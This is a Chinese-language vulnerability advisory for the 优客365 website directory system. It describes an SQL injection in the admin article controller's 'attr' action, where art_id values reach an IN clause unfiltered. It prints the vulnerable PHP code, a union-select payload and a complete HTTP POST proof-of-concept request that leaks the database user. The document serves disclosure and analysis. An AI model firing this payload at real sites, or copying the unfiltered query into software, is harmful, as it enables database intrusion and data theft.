漏洞简介

优客365网站分类导航系统是个跨平台的开源软件，基于PHP+MYSQL开发构建的开源网站分类目录管理系统。 优客365网站分类导航系统app/admin/controller/article.php页面存在SQL注入漏洞，该漏洞是由于系统未对用户输入的参数进行充分过滤。攻击者可利用该漏洞获取数据库敏感信息。

漏洞分析

漏洞在文件/app/admin/controller/article.php attr操作。

```
if ($action == 'attr') {
    $pagetitle = '属性设置';

    $art_ids =  I('post.art_id',$_GET['art_id']);
    if (empty($art_ids)) {
        msgbox('请选择要设置的文章！');
    }
    $aids = dimplode($art_ids);

    $category_option = get_category_option('article', 0, 0, 0);
    $articles = $Db->query("SELECT art_id, art_title FROM $table WHERE art_id IN
($aids)");

    $smarty->assign('category_option', $category_option);
    $smarty->assign('articles', $articles);
    $smarty->assign('h_action', 'saveattr');
}
```

从代码中可以看到 $art_ids = I($*POST['art_id'],$*GET['art_id']);，$art_ids 参数直接从 post 或者 get方法获取，然后没有经过过滤直接拼接到 SQL语句，导致SQL注入漏洞。

漏洞证明

用管理员账号登录网站后台，进入文章列表页面，选定任意文章，然后选择设置属性，用burpsuite拦截数据包。然后修改后面art_id[]=参数的值为payload：0') union select 1,user()#，然后重新发包，返回的响应内容会爆出当前数据库用户名。

```
POST /admin/article.html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost/admin/article.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Cookie: abc=test;
user_auth=21ae%2BhJX962kmCIcbz2GxnVnvM9RxrW2eVIGwxtY80w82OsVRV8fuH6pI%2B3gk2HLVu
OIj%2BkNQjNQ7r1z%2FuOu; ECS[visit_times]=7; abc=test;
PHPSESSID=aa8bkofatgivt2hqlgprrdg7u5;
Connection: close
Upgrade-Insecure-Requests: 1

act=attr&art_id%5B%5D=0') union select 1,user()#
```